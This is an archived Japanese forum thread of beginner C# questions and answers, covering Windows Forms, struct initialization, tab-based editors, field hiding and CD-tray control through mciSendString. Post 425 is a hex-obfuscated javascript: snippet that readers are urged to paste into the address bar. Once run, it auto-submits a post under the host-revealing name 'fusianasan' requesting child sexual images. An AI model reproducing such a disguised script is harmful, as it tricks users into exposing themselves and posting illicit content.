ふらっとC♯(Part5)at TECH
ふらっとC♯(Part5) - 暇つぶし2ch331:デフォルトの名無しさん
04/09/05 13:36
>>330
目から鱗

332:デフォルトの名無しさん
04/09/08 21:18
URLリンク(www.atmarkit.co.jp)
の記事をみてSQL Server 2000を使ってみようと思い立ったんですが、
とりあえず URLリンク(www.microsoft.com) をインストールして
みたのですが、ヘルプをみても使い方がサッパリ分りません。
インストールするとタスクトレイにDBのアイコンがでますが、これのサービスをスタートしようとすると
エラー1069(ログオンに失敗したため、サービスを開始できませんでした)となってしまいます。
これってまず何をすればいいんでしょうか?

333:デフォルトの名無しさん
04/09/09 01:51
はじめまして。
URLリンク(mobiquitous.com)
これを使って、IEツールバーのボタンが押されたらあるページがIEに表示されるように
したいのですが、どうすればIEを操作できるのか見当がつきません。
何か関連ありそうなキーワードがあれば教えてください。よろしくお願いします。

334:デフォルトの名無しさん
04/09/09 12:55
>>333
Site もしくは Site の IServiceProvider 経由で IID_IWebBrowser もしくはIID_IWebBrowserAppを
得て Navigate すればいいんじゃない?

335:333
04/09/09 22:37
>>334
ありがとうございます。
調べてみます。


336:デフォルトの名無しさん
04/09/10 16:44:32
アプリケーションをフォームが非表示の状態で開始するにはどうやればいいか教えていただけますか?
Application.Run の前に CreateControl して Hide して、Visible を false にしてもなぜか表示されてしまいます・・・


337:デフォルトの名無しさん
04/09/10 17:01:55
>>336
URLリンク(www.microsoft.com)

個人的にはApplication.Run()でやることが多いけど。

338:デフォルトの名無しさん
04/09/10 21:30:59
>>337
これだと確かに表示はされないけれども、Load イベントも上がらないし・・・
普通の Win32 アプリでいう WS_VISIBLE でない状態でウィンドウそのものは作りたい、
というような状況なのです。CreateSuruct でも override してみるかなぁ。

339:デフォルトの名無しさん
04/09/10 21:56:22
CreateParams を override して WS_VISIBLE を落としてもダメ、
Form の Load イベントで this.Hide() しても this.Visible = false; してもダメ、
Application.Run を Form.ShowDialog にしてもダメ。
(関係ないけどRun の代わりに ShowDialog 使うと Dialog 終了後のメッセージが処理されないので
表示した NotifyIcon を Form が Close される前に消さないとゴミが残る・・・)

VisibleChanged イベントのハンドラで Hide すると何とか消えるけど、一瞬表示されるのでちらつきます。
タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。

340:デフォルトの名無しさん
04/09/10 22:03:18
>>339
>  タスクトレイにいきなり常駐するユーティリティとかどうやってみんな作ってるんだろう。

NotifyIconとかを管理するクラスを作り、その中のContextMenuでフォームのShow/Hideを扱う。
メッセージループはApplication.Run()でメインウィンドウを持たせずに開始する。

341:デフォルトの名無しさん
04/09/10 22:46:49
>>340
できました!ありがとうございます。

342:デフォルトの名無しさん
04/09/17 11:41:58
パフォーマンスを計るのにスレッド単位でCPUのTickTimeを取得したいのですが、
(Sleep中または別スレッドが走っている時はカウントしない)
そういうクラス知っている人いますか?


343:デフォルトの名無しさん
04/09/17 11:48:25
Type.InvokeMemberからBindingFlags.GetPropertyでプロパティを取得する時、
返り値がobject配列なのですが、どうすれば各要素にアクセス可能になるでしょうか。
単に返り値をobjectとして取得することはできたのですが、その後が分かりません・・

344:デフォルトの名無しさん
04/09/17 11:50:48
>>343
言ってる意味がよくわからない。
もうちょっと具体的に。

345:デフォルトの名無しさん
04/09/17 12:07:17
ごめんなさい、分かっちゃった。
こうしたかっただけです。

obj = type.InvokeMember("array", BindingFlags.GetProperty, null, doc, new object[] {2});
* これで二番目の要素をゲット

お騒がせしました。

346:デフォルトの名無しさん
04/09/17 14:41:43
bmp=new Bitmap(filename);
これをdisposeせずに、また
bmp=new Bitmap(filename2);
を呼び出したらメモリー減って行きますか?
それとも、同じ変数のメモリー番地に上書きされるだけですか?

347:デフォルトの名無しさん
04/09/17 14:45:31
>>346
もちろん新しいメモリが確保される。
インスタンスのサイズが違うかも知れないのに上書きしちゃまずいだろ。

348:デフォルトの名無しさん
04/09/17 14:47:10
って、参照先じゃなくて変数そのもののアドレスか?
それなら上書きされるが。
つかそんなことに頭を悩ます意味は全くないが。
あとそれとDisposeとは何の関係もない。

349:デフォルトの名無しさん
04/09/17 14:58:36
bmpの中にある画像データを替えたかっただけなんです。
>って、参照先じゃなくて変数そのもののアドレスか?
>それなら上書きされるが。
という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?

350:デフォルトの名無しさん
04/09/17 15:08:05
> という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?

画像データとか言わずBitmapインスタンスと言おうな、こういう場合。

まあ、そんな感じ。
細かく言うなら、「変数が示す参照先が書き変わる」。
変数が、古いインスタンスを丸めてポイして、新しいインスタンスにべったりくっつくわけだ。

//丸めてポイされたインスタンスはいずれGCが片づける。

351:346
04/09/17 15:10:47
なるほど、色々ありが㌧。

352:デフォルトの名無しさん
04/09/17 15:16:45
>>346微妙に誤解してないか?
>>350の書いてる内容は間違っちゃいないんだけど、
読み方によっては>>346が誤解してしまうように思う。

依然
>という事は、前の画像データが消えて新しい画像データに上書きされるって事ですよね?
のように言ってるからね…
まあ画像データが上書きされるってのを、プログラム上からはというか、
プログラムでの操作上はそのように見えるってだけの意味で言ってるのなら大丈夫かもしれんが…

353:デフォルトの名無しさん
04/09/17 21:16:06
>>346
上書きはされないよ。例えば、

Bitmap bmp = Bitmap(file1);
aForm.BackgroundImage = bmp;

なんてしておいて、後で
bmp = Bitmap(file2)
なんてやってもフォームの背景は変わらない。

前の画像は前の画像、新しい画像は新しい画像、お互いなんの関係もない。

354:デフォルトの名無しさん
04/09/17 21:48:51
プロパティに設定するときはインスタンスのコピーをとってるんだろうか

355:デフォルトの名無しさん
04/09/17 22:26:56
>>354
とってないよ。だから Dispose なんかしちゃだめだよ。

356:デフォルトの名無しさん
04/09/17 23:38:22
Disposeは微妙な存在。

357:デフォルトの名無しさん
04/09/18 10:40:22
>>342 の続きなんですが、スレッドがSleep等で停止したり、再開したりする時に
コールバックもしくはなんだかの形でフックを掛けることはできないか知っている人いませんか?

358:在日参政権反対
04/09/18 12:36:45
>357
単純にメソッド余分じゃ駄目なの?他のスレッドに何かさせたいんでしょうか?ならイベントとか?

359:デフォルトの名無しさん
04/09/18 13:51:36
>>358
システム側でスレッドが切り替えられたときにも引っ掛けないとパフォーマンスが計れないです。


360:在日参政権反対
04/09/18 14:13:26
パフォーマンスカウンターオブジェクトのスレッド実行時間では?

361:デフォルトの名無しさん
04/09/23 02:34:14
はじめまして。
プログラミング自体初心者なのですが、
VisualStudioC#で作ったプログラムの
テキストボックスの中でバックスペースが効きません。
これってなんとかならないものでしょうか。


362:デフォルトの名無しさん
04/09/23 02:40:37
Ctrl+H

363:デフォルトの名無しさん
04/09/23 15:42:18
前の文字を消すための代替方法を探しているのではなくて、
テキストボックスでバックスペースキーを認識する方法を探しています。



364:デフォルトの名無しさん
04/09/23 15:48:46
と言われても私の周辺では普通に有効だし。
コード上で変なことをしてるかキーボード補助系のなんかのアプリを使ってるか、果てしなく環境依存な話になるし。
そもそもTextBoxはWindowsの標準エディットコントロールをラップしてるだけだしなぁ。

365:教えてください
04/09/24 08:46:54
C#初学者です。
ナンバーズ予想ソフトをVC#で作りたいと思っています。
Winアプリで、ナンバーズとか株の最新データを取得してくるソフトが
ありますが、あれってどのような仕組みでやっているのですか?
何か参考になるサイトや書籍などあれば教えてください。

366:デフォルトの名無しさん
04/09/24 11:16:52
>>365

1.サイトからHTML(など?)をダウンロードする
2.ダウンロードしたHTML(など?)からナンバーズのデータを取得
3.取得したデータから、予想する

大雑把にこんな感じでやればいいのでは。

367:在日外国人参政権反対
04/09/24 11:32:46
ナンバー図は知らんが、株はサイトと直接ソケット接続してデータやり取りするものもあった希ガス.

368:365
04/09/24 12:59:54
>366
ということは、まずHTMLのソースを元に配列化して、データを取得するということでしょうか?

取得の仕方だけが分からないんで・・・

369:デフォルトの名無しさん
04/09/24 13:03:00
まずデータがどこにどういう状態/形式でおかれているか、によって話は全く違った方向に転がっていくだろう。

370:366
04/09/24 15:17:28
>>368
それは各自の工夫です。そんな甘いものではないはず。

まあヒントを。HTMLをダウンロードすることを前提に話すけど。
ダウンロードしたHTMLのうち、必要なデータがある場所というのはサイトの構成が変わらなければいつも同じなはず。
そういうのを、文字列の検索とか正規表現とかで探し出す。
運よく取得するサイトがXHTMLになっている場合は、System.Xml名前空間を駆使すれば楽になるかもしれない。

371:在日外国人参政権反対
04/09/24 15:55:14
>365
何がわからないのか明確にしる
ソースの場所
ソースの形式
そのソースの取得方
プログラムの書き方
全部

372:デフォルトの名無しさん
04/09/24 19:47:18
HttpWebRequest

373:デフォルトの名無しさん
04/09/25 14:06:36
ネットワークゲームを作る際に、通信に最初(ログイン)から最後(ログオフ)まで
BinaryFormatter もしくは SopaFormatter にてシリアル化したオブジェクトのみを使用する事に問題点はありますか?

374:デフォルトの名無しさん
04/09/29 00:02:22
>>373
なんか問題があったときにスニファで見てもよくわからないとかが
ありそうなので、おいらは使わない
Soapはしらないけど、効率わるいんじゃないの?

375:デフォルトの名無しさん
04/10/02 10:37:47
値型のnewってヒープを食わないんですよね?デフォルトのコンストラクタが呼ばれるだけで。
同じ変数に2回以上newした場合はどうなんでしょう。
ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
問題ないんでしょうか?
すごく抵抗を覚えるんですが・・・

・パターン1
A a = new A();
for (int i = 0; i < 10000; i++)
{
a = new A();
// 以降Aを設定する処理
}

・パターン2
for (int i = 0; i < 10000; i++)
{
A a = new A();
// 以降Aを設定する処理
}

・パターン3
A a = new A();
for (int i = 0; i < 10000; i++)
{
// 自力で初期化
a.xx = "";
// 以降Aを設定する処理
}
パフォーマンス的には3が一番いいような気がしていますが。
構造体を再度初期化する方法ってnew以外にあるんでしょうか?


376:デフォルトの名無しさん
04/10/02 11:03:46
>>375
ボクシングされなければ、既に在る領域をコンストラクタで初期化しているだけのような気もする
……中を見てみないとどうにもいえないけど

不安ならば、パターン3の拡張として、
A に SetData みたいなメソッドを作り、そこで一気に値を変更してみればいかがか?

377:デフォルトの名無しさん
04/10/02 11:21:45
>>375
> パフォーマンス的には3が一番いいような気がしていますが。
少なくとも速度的には一番悪い。
1と2では差は無し。意味的に大した違いも無し(aの寿命だけ。実質的な動作は同じ)

> 構造体を再度初期化する方法ってnew以外にあるんでしょうか?
static readonlyなEmptyフィールドを用意するとか。
意味的にはnew()するのと変わりませんよ?

> ループの中で構造体とかを初期化したいがためにnewでクリアしようとするのは
> 問題ないんでしょうか?
> すごく抵抗を覚えるんですが・・・
そんなことよりも、初期値を指定しないで初期化する構造体の方に抵抗を覚えるな。

378:375
04/10/02 12:40:42
>>376-377
回答どーもです。

3が一番遅いというのは、newより個々のメンバをクリアする方が遅いんですか?
値型のnewの場合、内部的にmemsetみたいにクリア処理が1発走るだけなんですかね。


379:デフォルトの名無しさん
04/10/02 12:57:09
C#でビデオキャプチャーはできますか?
DirectXではできない(かなり面倒)と聞きました。
VFWで動きますでしょうか?サンプルなどありましたら、お教えください。

380:デフォルトの名無しさん
04/10/02 13:43:36
>>379
DirectShow(のActiveXコントロール)による極簡単なサンプル
URLリンク(chikuma.sit.ac.jp)

DirectX9のDirectShowの.NETラッパ作成プロジェクト
URLリンク(www.codeproject.com)

381:デフォルトの名無しさん
04/10/04 01:17:53
このスレタイのC#を半角小文字英数のC#に変えてください

382:デフォルトの名無しさん
04/10/04 01:19:03
そうすると不思議なことにC言語のスレッドと見分けがつかなくなるのです。

383:デフォルトの名無しさん
04/10/04 01:51:54
#はシャープとは違う文字ですよ

384:デフォルトの名無しさん
04/10/04 01:57:37
それでも半角の方が公式なんだがな。

385:デフォルトの名無しさん
04/10/04 01:59:03
スレタイに半角 # は使えません。

386:デフォルトの名無しさん
04/10/04 02:01:23
ム板だけでも#が使えるようにならんもんかな

387:デフォルトの名無しさん
04/10/04 17:39:45
c#stdを使っているのですが
ユーザーコントロールを配置して
デバッグしようとすると、ユーザーコントロールはビルドされていないとダメって
コンパイル時に起こられるのですが、みなさんはどうしてますか?
VS.NETproとかだとこういうエラーはでないんですか?

388:デフォルトの名無しさん
04/10/04 18:07:35
>387 151はけーん

389:デフォルトの名無しさん
04/10/12 23:27:56
age

390:デフォルトの名無しさん
04/10/17 23:11:19
button1のプロパティを全部button2にコピーする簡単な方法ってありますか?

391:デフォルトの名無しさん
04/10/17 23:36:11
意外に必要なプロパティなんて少ないもんだぞ。
問答無用に全部コピーすると問題が出たりするしな(だからWindowTargetをわざわざ除外してる)。

public void CopyButton(System.Windows.Forms.Button from, System.Windows.Forms.Button to) {
   foreach (System.Reflection.PropertyInfo inf in typeof(System.Windows.Forms.Button).GetProperties()) {
      if (!inf.CanRead || !inf.CanWrite || inf.Name == "WindowTarget")
         continue;
      inf.SetValue(to, inf.GetValue(from, null), null);
   }
}

392:デフォルトの名無しさん
04/10/18 00:04:22
>>391
すごい。
ありがとうございます!
やってみます。

393:デフォルトの名無しさん
04/10/18 18:35:36
C♯相談室から流れてきました。

タブ型のメモ帳を作っています。
richTextBoxを乗せたtabpageを追加していくようにしています。
上書き処理をしたいのですが自分で考えた方法は
openFileDialogでファイルのパスを取得してloadfileで読み込む
→内容を変更→savefileを使いpathパラメータはopenfileDialog.Filenameを指定して上書き
としているのですが、別のテキストファイルを開いたあとで開いてあったテキストファイルを上書きしようとすると
Filenameが後に開いたテキストファイルのものになってしまいます。
ファイルのパスをタブごとに維持しておく方法どうすればいいんでしょうか?

394:デフォルトの名無しさん
04/10/18 18:46:47
>>393
タブのページ毎の情報はタブのページ毎に保存しとく。
OpenFileDialog.FileNameを、それぞれのTabPageオブジェクトのTagにいれといて
保存する時はそれを使うようにする。

……むう、微妙に説明するのが難しい。

//開く時
TabPage page = tabControl1.SelectedTab;
page.Tag = openFileDialog.FileName;
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName);

//上書き保存する時
TabPage page = tabControl1.SelectedTab;
string filename = (string)page.Tag;
((RichTextBox)page.Controls[0]).SaveFile(filename);

こんなかんじで。

395:デフォルトの名無しさん
04/10/18 20:10:25
早いレスありがとうございます。
しかし自分の説明不足からかわからない点が。

上の記述はすでにtabが開いてあるとしてのものですか?

説明が下手なのでコードを貼り付けます。
//開く
private void menuItem3_Click(object sender, System.EventArgs e)
{
openFileDialog1.DefaultExt = "*.txt";
openFileDialog1.Filter = "TEXT Files|*.txt";
if (openFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK && openFileDialog1.FileName.Length > 0)
{
string path = openFileDialog1.FileName;
string name = Path.GetFileName(path);
string title = name;
this.newtabpage = new System.Windows.Forms.TabPage(title);
this.tabControl1.Controls.Add(this.newtabpage);
this.newrichTextBox= new System.Windows.Forms.RichTextBox();
this.newrichTextBox.Dock=System.Windows.Forms.DockStyle.Fill;
this.newtabpage.Controls.Add(this.newrichTextBox);
this.newrichTextBox.LoadFile(openFileDialog1.FileName, RichTextBoxStreamType.PlainText);
this.tabControl1.SelectedTab=this.newtabpage;
this.newtabpage.ToolTipText=path;
TabPage newtabpage = tabControl1.SelectedTab;
newtabpage.Tag = openFileDialog1.FileName;
                         MessageBox.Show(this.newtabpage.Tag.ToString());//パスが取れてるか確認のため。 
                             }
}
としてみましたが結果が同じになってしまいました。
試行錯誤中なので無駄な記述があるかもしれません。
説明不足の上長文で申し訳ありませんがどうかお救いください。

396:デフォルトの名無しさん
04/10/18 20:19:32
>>395
this.newtabpageとかthis.newrichTextBoxとかは他で使わないならローカル変数でもいいような。
それはさておき開くときにファイル名を記録していないわけで。

this.newtabpage.Tag = name;

397:デフォルトの名無しさん
04/10/18 20:58:23
>>396
ファイル名を記憶してみても
別のテキストファイルを開いたらすでに開いてあるテキストファイルのタブのtagも新しく開いた方のtagになってしまいます。
根本的におかしい部分はありますか?
何回も本当に申し訳ありません。挫折したくないので頑張らせてください。お願いします。

398:デフォルトの名無しさん
04/10/18 21:02:04
>>397
すいません、解決しました。
パスを確認する別の記述の部分に
TabPage newtabpage = tabControl1.SelectedTab;
を加えるのを忘れていました。
ありがとうございました!

399:デフォルトの名無しさん
04/10/18 22:19:49
先生!
文字列型変数は、削除されないんですよね?
string s = "ぬるぽ";
s = "にりぺ";
とした場合、「ぬるぽ」は残ってるんですよね?
で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?

400:デフォルトの名無しさん
04/10/18 22:22:16
アクセスって?

401:デフォルトの名無しさん
04/10/18 22:23:40
>>399
string s = "ぬるぽ";
string backup = s;
s = "にりぺ";

System.Console.WriteLine(backup);

402:デフォルトの名無しさん
04/10/18 22:23:48
参照が無くなったものにアクセスはできない。
GCの管理下に入ってそのうちメモリから消されるのみ。
というか
> 文字列型変数は、削除されないんですよね?
て意味不明。
System.Stringは変更不可クラスで、その意味は
文字列を操作する各メソッドが自分自身のインスタンスを書き換えるのではなく
新しいSystem.Stringインスタンスをつくって返すってこと。

403:デフォルトの名無しさん
04/10/18 22:24:21
>>400
string p = s;
で、"ぬるぽ"を取得したり、"ぬるぽ"を消して、別の値を入れたり。
です。

404:デフォルトの名無しさん
04/10/18 22:41:45
>>399
> とした場合、「ぬるぽ」は残ってるんですよね?

もう手の届かないどこかに残っている。そのうち消えるが。

> で、「ぬるぽ」にアクセスしたいときはどうしたらいいですか?

諦めるのがよい。

>>403
>"ぬるぽ"を消して、別の値を入れたり。

別の値をどこに入れるね?

405:デフォルトの名無しさん
04/10/19 00:14:02
>>403
あんたはいったいなにがしたいんだ…?

406:デフォルトの名無しさん
04/10/19 01:40:32
>>402
どうでもいいことだが、参照が無くなってもWeakReferenceでアクセスできるような。
いや、これはGCの対象になるだけで参照は無くなってはいないか。

407:デフォルトの名無しさん
04/10/19 12:40:14
正規表現を全部エスケープする正規表現ってどうすればいいいですか?

408:デフォルトの名無しさん
04/10/19 14:54:14
class Class
{
public string s = "Hage1";
}

class Class1 : Class
{
new public string s = "Hage2";

public static void Main(string[] args)
{
Class c1 = new Class1();
Console.WriteLine(c1.s);
Console.ReadLine();
}
}
"Hage2"を表示したいのに、"Hage1"が表示されます。
Class c1 = new Class1();
で作成されたインスタンスは、Class1のインスタンスじゃないんでしょうか?

409:デフォルトの名無しさん
04/10/19 15:14:06
>>408
まず、フィールドはオーバーライドできない。まあ当然だけど。
このサンプルでやってるのはプロパティやメソッドで隠蔽と呼ばれる手法。同じシグネチャを持つもので元クラスのを隠蔽するわけだな。
ちなみにフィールドの場合newキーワードすら不要。
でも隠れただけで実際には存在する。
どう元クラスのにアクセスするか、というと元クラスの型でアクセスする。
この場合Class型でアクセスしたからClass型のsが呼ばれたんだな、とCLRは判断するわけだ。

さて、貴方の目当ての機能はどういうものか。
オーバーライドという手法だ。
機能を考えれば自ずと明らかなんだけど、これはメソッドやプロパティなど、「単に値を保持するだけではない」ものにしか適用できない。

サンプル。
class Super {
   public virtual string S {get {return s;}}
   private string s = "Super";
}
class Sub : Super {
   public override string S {get {return this.s + base.S;}}
   private string s = "Sub";

   public static void Main() {
      Super sub = new Sub();
      Console.WriteLine(sub.S);
   }
}
むう、今一つ上手い説明がつけられない……。


>>407
何がしたいのか分からないので具体例を。

410:408
04/10/19 15:55:59
>>409
この場合だと、
Class1クラスは、Classクラスのインスタンスを持っている。
Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。

そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。

c1---------Class ←Class型でアクセスするとこの中のデータにアクセス
|--------Class1←Class1型で ヾ

ていう感じでいいんでしょうか? orz

411:デフォルトの名無しさん
04/10/19 16:17:36
> Class1クラスは、Classクラスのインスタンスを持っている。

違う。
Class1は、Classを拡張している。
class Class1 {  // Classを継承させずに書いてみる。いや文法エラーだけど
   public string Class.s = "Hage1";
   public string Class1.s = "Hage2";
}
こんな感じに。
この場合名前が同じだからわざわざClass.とClass1.で分けてるけど、そうでなければわざわざ型名をつける必要もないのは分かるね?
単に同じ部分を繰り返し書かなくて良いようにしてるだけ、と捉えることもできる(深く立ち入ればそう単純でもないが

> Class1クラスのインスタンスc1は、Classクラスと、Class1クラスのインスタンスを持っている。

だからあくまでClass1のインスタンスはClass1のインスタンス。
Class1がたまたまClassの機能をそのまま引き継いでいるからClassにある機能も使うことができる。

> そこで、Class型のc1でアクセスしたので、Class1クラスのインスタンスの中の、Classクラスのインスタンスの変数sが呼び出された。

Class1クラスにはClass.sとClass1.sが両方定義されている。と考えられる。
普通c1はClass1のインスタンスなんだからsを呼ぶとClass1.sが返される。
でもClass型の方のsが欲しいなら、Class.sを呼び出すことを明示するためにClass型で呼び出す。

412:408
04/10/19 17:30:06
>>411
どうもありがとうございます。
>public string Class.s = "Hage1";
>public string Class1.s = "Hage2";

これでやっと分かりました、たぶん。
Class c1 = new Class1();
これで、base.Value でアクセスするような感じで、c1.Value で基底クラス(Class)のメンバーに、自動的にアクセス出来るってことですよね。

413:デフォルトの名無しさん
04/10/19 19:56:35
先日質問させていただいたタブ型メモ帳を作ってるものです。

実はまだ上書き作業が上手くいっていません。というかsavefileを使う記述がすべて上手くいっていません。
問題はやはり保存したいもののとなりに新しく開いたものがあると
書き込むファイルは教えていただいた方法でちゃんと書き込んでいるのですが
書き込んでいる内容が一番最後に開いたタブのなかのrichTextBoxの内容になっています。

//上書き保存
private void menuItem4_Click(object sender, System.EventArgs e)
{
newtabpage = tabControl1.SelectedTab;
string fpath = newtabpage.Tag.ToString();
if(fpath.Length>0)
{
newrichTextBox.SaveFile(fpath,RichTextBoxStreamType.PlainText);
}
else
{
saveFileDialog1.DefaultExt = "*.txt";
saveFileDialog1.Filter = "TEXT Files|*.txt";
if(saveFileDialog1.ShowDialog() == System.Windows.Forms.DialogResult.OK &&saveFileDialog1.FileName.Length > 0)
{
newrichTextBox.SaveFile(saveFileDialog1.FileName,RichTextBoxStreamType.PlainText);
}
}
}
こう記述しております。
あと最初に回答していただいたときの
((RichTextBox)page.Controls[0]).LoadFile(openFileDialog.FileName); と
((RichTextBox)page.Controls[0]).SaveFile(filename); はどういう意味があるのでしょうか?
お願いします。

414:デフォルトの名無しさん
04/10/19 20:34:09
問題は、そのnewrichTextBoxだ。
そのnewrichTextBoxは最後に開いたRichTextBoxを指しているだろう?
つまり現在選択中のタブ上にあるRichTextBoxを必ずしも指していない。
そのために
TabPage page = tabControl1.SelectedTab;  //pageは現在選択中のタブのTabPage
string filename = (string)page.Tag;      //現在選択中のタブがもつパス情報
((RichTextBox)page.Controls[0]).SaveFile(filename); //現在選択中のタブページに含まれるRichTextBoxを取得し、そのデータを上で取得したパスに保存
と書いたわけだ。

つかさ、こんなnewrichTextBoxだのなんだののフィールドは捨てた方がわかりやすくなると思う。
それぞれのメソッドで必要な時にtabControl1.SelectedTab.ControlsからRichTextBoxの参照を取得すべき。

415:デフォルトの名無しさん
04/10/19 21:48:07
そういう意味だったのですか。なるほど。
試したところ上手くいきました。ありがとうございました。

意味はわかったんですけど
((RichTextBox)page.Controls[0]).SaveFile(filename);
という記述は変な聞き方ですがどこで手に入れた?のですか?
MSDNライブラリのtabpage.Controlsの周辺にもなかったので。

416:デフォルトの名無しさん
04/10/19 21:55:03
ん?
目的からしてTabPageにはDock.FillのRichTextBoxしか含まれてないだろう、と言う推測のもと
そうするとTabPage.Controls[0]はRichTextBoxになるわけで
それをControlsの各アイテムはControlクラスだからそのままではSaveFileメソッドを使えないから
一旦RichTextBoxにキャストしてSaveFileメソッドを実行、だが。

RichTextBox rtb = (RichTextBox)page.Controls[0];
trb.SaveFile(filename);

を一行で済ませただけだよ。

417:デフォルトの名無しさん
04/10/19 21:57:18
>>415
個々のオブジェクトの使い方を覚える前に、
まずはC#(というか.NET framework)そのものを学んだ方がよい。
重要なのは記述の方法ではなく、その記述が表現している概念だ。

418:デフォルトの名無しさん
04/10/19 22:06:19
IEのファイルダウンロードのダイアログを同等のものを
C#のプログラムで表示させたいのですが、
どうすればいいのですか?
「開く」「保存」「キャンセル」のボタンがあるやつです。


419:デフォルトの名無しさん
04/10/19 22:13:18
実をいうと自分は
SE・プログラマ スタートアップテキスト 10日間マスター講座 C#プログラミング 【基礎】
URLリンク(www.gihyo.co.jp)
を読んでタブ型メモ帳を作ろうとしていました。
この本は他のC#の解説書・サイトと比べるとかなり基本的なことだけでまとめられていて
自分にピッタリだなぁと思ったんです。
しかし質問するにつれてこの本に載っていない単語・表現・記述などがあるたび
検索してひとつずつ理解しながらまた質問していました。
やはりこれだけでは全然足りないみたいです。
これだけは読んでおけ!っていう本・サイトはありますか?

420:デフォルトの名無しさん
04/10/19 22:37:28
>>418
>  「開く」「保存」「キャンセル」のボタンがあるやつです。

それくらいならFormから派生させたクラス書こう。
Buttonを3つ配置してそれぞれのClickイベントでDialogResultプロパティを適当に設定するだけだ。

421:418
04/10/19 23:02:25
プログラムを書くのは簡単ですが、OS or IEで用意されている
ものがあるのであればそれを使いたい。
そもそもOS or IEのバージョンによっても表示が変わりますよね。


422:418
04/10/19 23:07:15
ファイル上書き確認のダイアログとかもそうだけど。
用意されてないの?自分でつくらないといけないの?


423:デフォルトの名無しさん
04/10/19 23:11:52
上書き確認はSaveFileDialogについてくるもんだしなぁ。
YesNoCancel程度ならMessageBoxで済むし。

424:デフォルトの名無しさん
04/10/20 02:32:48
>>418
あった気がするが。忘れたよ。Win32APIスレでも行ってみたら?

425:デフォルトの名無しさん
04/10/20 07:13:53
どのスレでもいいので新しいウインドウで開く
javascript:s='7769746828646f63756d656e742e666f726d735b305d297b46524f4d2e76616c75653d2766757369616e6173616e273b4d4553534147452e76616c75
653d275c75333045445c75333045415c75373533425c75353043465c75333034465c75333036305c75333035355c7533303434273b7375626d69742e636c69636b2829
3b7d';for(l=0,e="";l<s.length;l+=2)e+='%'+s.substr(l,2);eval(unescape(e));
を1行にしてアドレス欄にコピペして実行すれ。

426:デフォルトの名無しさん
04/10/20 12:40:19
ListBoxとかListView上で、マウスを動かすと同時に、マウスの位置にあるアイテムを
自動的に選択するようにしたいんですが、どうやったらいいですか?

427:デフォルトの名無しさん
04/10/20 13:11:40
>>426
MouseMoveイベント内で、
ListView.GetItemAt(int x, int y)またはListBox.IndexFromPoint(int x, int y)でマウス位置のアイテムまたはインデックスを取得。
ListViewItem.SelectedまたはListBox.GetSelectedがfalseならば
ListViewItem.Selectedをtrue、またはListBox.SetSelected(int index, bool value)で選択させる。

激しく鬱陶しそうなUIだな。
実用にならない気がする。

428:デフォルトの名無しさん
04/10/21 16:48:43
保守age

429:デフォルトの名無しさん
04/10/24 00:03:10
CDドライブのドライブレターを指定して、
トレイの開閉操作を行いたいんだけど、どうもFrameworkにはなさそうなので
従来通り、winmm.dllのmciSendCommandでやろうと思ったわけですが、
構造体を引数にとる場合の処理で困ってます

typedef struct tagMCI_OPEN_PARMSW {
  DWORD_PTR   dwCallback;
  MCIDEVICEID   wDeviceID;
  LPCWSTR   lpstrDeviceType;
  LPCWSTR   lpstrElementName;
  LPCWSTR   lpstrAlias;
}
mciSendCommandのextern宣言は
public static extern int mciSendCommand(ulong IDDevice,uint uMsg,ulong fdwCommaand,[MarshalAs(UnmanagedType.LPStruct)] ref MCI_OPEN_PARMS dwParam);
としていますが、
「追加情報 : parameter #4 を集成できません。無効なマネージ/アンマネージ型の組み合わせです。この値は Struct と組で使用してください。」
と、例外が発生して実行できません
どうやったらいいんでしょうか?

430:デフォルトの名無しさん
04/10/24 00:44:34
>>429
それだけなら
public static extern uint mciSendString(string command, StringBuilder returnBuffer, uint bufferSize, IntPtr whnd);
mciSendString("set cdaudio door open", null, 0, IntPtr.Zero);
mciSendString("set cdaudio door closed", null, 0, IntPtr.Zero);
で良さそうだけど。

//開閉状態のチェックは色々難しいところがあるようだ……。
URLリンク(forums.belution.com)

431:デフォルトの名無しさん
04/10/24 01:28:56
特定のドライブ、となると一旦openする必要があるのかな。
StringBuilder sb = new StringBuilder(256);
uint existCD = mciSendString("open Q:\\ type cdaudio alias Hoge", sb, 256, IntPtr.Zero);
if (sb.ToString() == "1") //ドライブのオープンに成功したかチェック
   mciSendString("set Hoge door open", null, 0, IntPtr.Zero);

432:429
04/10/24 17:17:55
できましたー
SendStringで開閉できたんですねorz
ありがとうございました

433:デフォルトの名無しさん
04/10/24 19:32:03
C#でチャットを作っています
メッセージを受信した際にログを表示するrichTextBox1を最下行へスクロールしたいのですが、
private void richTextBox1_TextChanged(object sender, System.EventArgs e)
{
richTextBox1.SelectionLength = 0;
richTextBox1.SelectionStart = richTextBox1.Text.Length;
richTextBox1.ScrollToCaret();
richTextBox1.Focus();
richTextBox2.Focus();

//もしくは
//richTextBox1.SelectionStart = richTextBox1.Text.Length;
//richTextBox1.Select();
//richTextBox1.Focus();
//richTextBox2.Focus();
}

とすると、たしかに最下行へ移動するのですが、(richTextBox2で)文字入力途中に、
このイベントが発生すると当たり前ですがフォーカス奪われて文字入力が不便になります。

richTextBox2のほうで入力中でも、影響なくスクロールする方法があれば教えていただきたいです・・・。



434:467
04/10/24 23:06:09
すいません自己解決しますた

Focus()ハズしてrichTextBox.1HideSelection = falseでうまくいきました


435:433
04/10/24 23:06:41
433だった・・・

436:デフォルトの名無しさん
04/10/25 22:10:19
文字列の検索でIndexOfとかIsMatchを使うと
[]とかの正規表現に使う文字列がうまく検索できないみたいなんですけど
これって普通に[]とかを検索したい場合、検索したい文字列を自分で
変換したりする必要があるんですか?
それとも他に何か簡単な方法があるんでしょうか?
教えてくださいお願いします。

437:デフォルトの名無しさん
04/10/25 22:14:21
.NET FrameworkにはIsMatchメソッドがあるのがRegexクラスしかなくて、RegexクラスにIndexOfメソッドはないんだが。
一体何でどうやって文字列の検索をしてるのかな。

438:デフォルトの名無しさん
04/10/25 22:24:58
大昔の「コンピュータがクリックして困ってるんだ!」っていう話を思い出した。

439:デフォルトの名無しさん
